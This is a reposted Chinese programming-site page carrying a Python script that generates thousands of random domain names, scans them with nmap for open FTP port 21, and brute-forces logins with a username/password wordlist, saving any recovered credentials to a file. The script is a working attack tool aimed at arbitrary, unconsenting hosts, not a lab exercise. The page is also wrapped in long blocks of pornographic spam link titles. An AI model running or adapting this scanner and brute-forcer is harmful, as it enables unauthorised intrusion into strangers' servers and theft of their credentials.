亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

使用python掃描隨機生成的域名開放端口 ,并嘗試暴力破解FTP服務

2019-11-14 11:59:52
字體:
來源:轉載
供稿:網友

本代碼屬于使用python3.4版本  主要是交流  高手勿噴!!

#!/usr/bin/python# -*- coding: utf-8 -*- import nmap   # 需要使用nmap端口掃描工具的支持     這里不僅要安裝nmap的python包  還要安裝nmap的windows的應用程序    python包 直接使用pip安裝即可    至于nmap for windows 的版本如何安裝 請直接度娘  from socket import *import threading import sys,random,timeimport string,osimport configparser   ### 配置文件包"""端口掃描工具  并且判斷如果端口21打開 嘗試暴力破解FTP"""screenLock = threading.Semaphore(value=1)def bruteLogin(hostname, passwdFile):    """嘗試破解FTP"""    pF = open(passwdFile, 'r')    for line in pF.readlines():        time.sleep(1)        userName = line.split(' ')[0]        passWord = line.split(' ')[1].strip('/r').strip('/n')       # PRint ("[+] 嘗試攻擊:%s      "%hostname+userName+"/"+passWord)       # print("[-]主機:",hostname)##                try:            ftp = ftplib.FTP(hostname)            ftp.login(userName, passWord)            print( '/n[*] ' + str(hostname) +/          ' FTP 賬號和密碼是: '+userName+"/"+passWord)                         ftp.quit()            return (userName, passWord)        except Exception:            pass ##嘗試失敗 重試中                print( '/n[-]FTP %s攻擊失敗!.'%hostname)    return (None, None)    def nmapScan(tgtip,tgtPort,tgtHost):         nmScan = nmap.PortScanner()    try:        nmScan.scan(tgtip,tgtPort)                 state=nmScan[tgtip]['tcp'][int(tgtPort)]['state']    except :        return None    return state     def portScan(tgtHost, tgtPorts):       try:        tgtIP = gethostbyname(tgtHost)           except:                return     try:        tgtName = gethostbyaddr(tgtIP)   ## 這里是反向查詢ip地址對應的DNS 主機名     except :        tgtName  = None                       setdefaulttimeout(1)         scan = {}    for tgtPort in tgtPorts:          state = nmapScan(tgtIP,str(tgtPort),tgtHost)        if state =="open":  ### 發現開放端口 就在字典中寫入            if tgtHost not in scan :                scan[tgtHost] = []                                 scan[tgtHost].append(str(tgtPort))            else:                                 scan[tgtHost].append(str(tgtPort))                                         if len(scan)>0:  ## 從字典中導出   根據字典中的數據寫配置文件        config =configparser.ConfigParser()        config.add_section(tgtHost)        config.set(tgtHost,"IP",tgtIP)                 if tgtName!=None:            config.set(tgtHost,"主機名",tgtName[0])        else:            config.set(tgtHost,"主機名","未知")        print("當前線程數: %d    當前掃描主機%s開放的端口有:"%(threading.activeCount()-1,tgtHost),scan[tgtHost])        for x in scan[tgtHost]:            config.set(tgtHost,"端口%s  "%x,"  isopen")        cfgfile = open('IpConfig.ini','a')        config.write(cfgfile)        cfgfile.close()        if "21" in scan[tgtHost]:            print( '/n[+]FTP %s開始攻擊!.'%tgtIP)            passwdFile = 'userpass.txt'     ##設置ftp弱口令的用戶名和密碼字典    字典存放的規則是 用戶名加空格加密碼后換行  類似于: username password/n            res = bruteLogin(tgtIP, passwdFile)            if res[0]!=None:                ftp = open("ftp.txt","a")                ftp.write(tgtIP+"   :   userName = "+res[0]+"    password = "+res[1])                ftp.close()                                                                                                              def gethost(x):       lis = ['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a','1','2','3','4','5','6','7','8','9','0']    s=''    s =  (s.join(random.sample(lis, x))).replace(" ","")             ss = [s+".cn",s+".cc",s+".com",s+".net",s+".pw",s+".wang",s+".vip",s+".tv",s+".org",s+".pub"]    return (s,ss)             def main():     driver = "D://Python34//nmap"    os.environ['PATH']=os.environ['PATH']+';'+driver    ho =[]    for x in range(12000):        while True:   ##這里是一個避免重復的排除方式            hos,Host =gethost(4)  ###這里是隨機域名             if hos not in ho:                ho.append(hos)                   break            else:                continue                                                    ##        21/tcp FTP 文件傳輸協議 ##        22/tcp SSH 安全登錄、文件傳送(SCP)和端口重定向 ##        23/tcp Telnet 不安全的文本傳送 ##        25/tcp SMTP Simple Mail Transfer Protocol (E-mail) ##        69/udp TFTP Trivial File Transfer Protocol ##        79/tcp finger Finger ##        80/tcp HTTP 超文本傳送協議 (WWW) ##        88/tcp Kerberos Authenticating agent ##        110/tcp POP3 Post Office Protocol (E-mail) ##        113/tcp ident old identification server system ##        119/tcp NNTP used for usenet newsgroups ##        220/tcp IMAP3 ##        443/tcp HTTPS used for securely transferring web pages##        3389/tcp windows服務器遠程桌面端口##        445/tcp 共享打印機端口##        139/tcp 被用于Windows"文件和打印機共享"和SAMBA         Port = [21,]  ##需要掃描的端口   這里 是掃描了ftp服務器 所以為了效率 全部只掃描21號端口        for x in Host:            t = threading.Thread(target=portScan,args=(x,Port))  ###開啟線程 掃描隨機的域名             t.start()        while True:            if threading.activeCount()-1>100:  ## 這里做了一個緩沖 限制了最大擁有100多個線程                time.sleep(1)            else:                break                            if __name__ == '__main__':    main()


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产成人福利夜色影视| 日韩色av导航| 69影院欧美专区视频| 亚洲自拍欧美另类| 国产精品18久久久久久首页狼| 欧美日在线观看| 国产视频福利一区| 久久久久久久久久久免费精品| 国产精品主播视频| 在线观看国产成人av片| 欧美一区三区三区高中清蜜桃| 欧美亚洲第一区| 最近中文字幕mv在线一区二区三区四区| 欧美日韩一区二区精品| 97视频在线播放| 精品国产一区二区三区久久久| 欧美特级www| 国产精品免费小视频| 国产精品久久久久久亚洲调教| 亚洲欧美在线第一页| 国产精品爱啪在线线免费观看| 影音先锋欧美精品| 成人午夜激情免费视频| xxav国产精品美女主播| 最近2019年手机中文字幕| 欧美一级淫片丝袜脚交| 欧美日韩午夜剧场| 亚洲性生活视频| 日韩av在线免费播放| 精品国产一区二区三区久久狼黑人| 91精品国产高清久久久久久久久| 亚洲成色www8888| 成人激情视频小说免费下载| 亚洲欧美中文字幕在线一区| 欧美性xxxx极品高清hd直播| 成人写真福利网| 2019中文字幕免费视频| 伊人av综合网| 欧美电影免费观看| 久久精品美女视频网站| 亚洲国产精品女人久久久| 性亚洲最疯狂xxxx高清| 亚洲欧美在线免费观看| 久久久国产一区二区| 精品亚洲一区二区| 法国裸体一区二区| 高跟丝袜欧美一区| 91久久精品一区| 欧美日韩国产va另类| 亚洲男人的天堂在线播放| 国产精品一区二区久久精品| 久久久在线免费观看| 国产精品白丝av嫩草影院| 在线日韩精品视频| 国产精品黄页免费高清在线观看| 欧美视频在线免费| 91免费的视频在线播放| 日韩美女主播视频| 精品激情国产视频| 亚洲人成在线电影| 亚洲成人精品视频在线观看| 91性高湖久久久久久久久_久久99| 日本在线观看天堂男亚洲| 国产精品99久久久久久久久| 日韩av第一页| 久久久91精品国产一区不卡| 91色视频在线导航| 岛国av一区二区三区| 欧美日韩在线视频首页| 日韩精品视频免费| 55夜色66夜色国产精品视频| 91精品国产91久久久久久久久| 日韩在线视频国产| 日韩一区二区精品视频| 精品自拍视频在线观看| 九九九热精品免费视频观看网站| 国产成人亚洲综合91精品| 国产精品久久久久久av福利软件| 欧洲美女7788成人免费视频| www日韩中文字幕在线看| 精品动漫一区二区| 亲子乱一区二区三区电影| 日韩经典一区二区三区| 欧美性黄网官网| 日韩视频在线观看免费| 欧美精品videosex性欧美| 91视频88av| 国产精品扒开腿做| 色www亚洲国产张柏芝| 97人洗澡人人免费公开视频碰碰碰| 国产不卡av在线免费观看| 国产精品一区二区av影院萌芽| 日韩一区视频在线| 国产精品揄拍500视频| 少妇精69xxtheporn| 亚洲国产欧美一区二区三区久久| 欧美精品在线免费播放| 欧美床上激情在线观看| 国产精品福利无圣光在线一区| 91av视频在线免费观看| 久久综合色88| 欧美激情xxxxx| 在线观看国产精品91| 在线观看久久av| 亚洲天堂男人的天堂| 91精品久久久久久久久久久久久| 日本亚洲精品在线观看| 国产精品一二区| 中文字幕在线观看日韩| 中文字幕精品视频| 777国产偷窥盗摄精品视频| 亚洲专区在线视频| 精品久久国产精品| 性色av香蕉一区二区| 欧美日韩成人在线观看| 亚洲人成网站免费播放| 国产精品久久久久久久久免费| 欧美色另类天堂2015| 日韩视频免费在线观看| 色与欲影视天天看综合网| 热久久免费视频精品| 粉嫩老牛aⅴ一区二区三区| 精品国产一区二区三区久久狼黑人| 亚洲国产中文字幕久久网| 国产成人综合av| 国产不卡视频在线| 亚洲视频在线观看| 91精品国产网站| 午夜精品久久久久久久白皮肤| 大伊人狠狠躁夜夜躁av一区| 国产精品亚洲一区二区三区| 欧美日韩在线观看视频小说| 欧美精品亚州精品| 国产精品一区二区久久| 亚洲日本欧美日韩高观看| 国产一区红桃视频| 一本色道久久88精品综合| 成人免费在线视频网址| 精品国产乱码久久久久久天美| 精品亚洲一区二区三区在线播放| 国产精品一区二区三区毛片淫片| 久久精品成人欧美大片古装| 26uuu另类亚洲欧美日本一| 亚洲激情中文字幕| 91视频国产精品| 亚洲午夜精品久久久久久久久久久久| 日韩美女激情视频| 亚洲第一视频在线观看| 亚洲影影院av| 欧美亚洲成人xxx| 久久精品视频网站| 久久69精品久久久久久国产越南| 亚洲高清不卡av| 国产成人精品视频在线| 91精品在线影院| 久久深夜福利免费观看| 亚洲美女激情视频| 一区二区在线免费视频| 亚洲肉体裸体xxxx137| 欧美最猛性xxxxx免费| 亚洲а∨天堂久久精品9966| 日韩精品视频在线观看网址| 亚洲一级片在线看| 成人综合国产精品|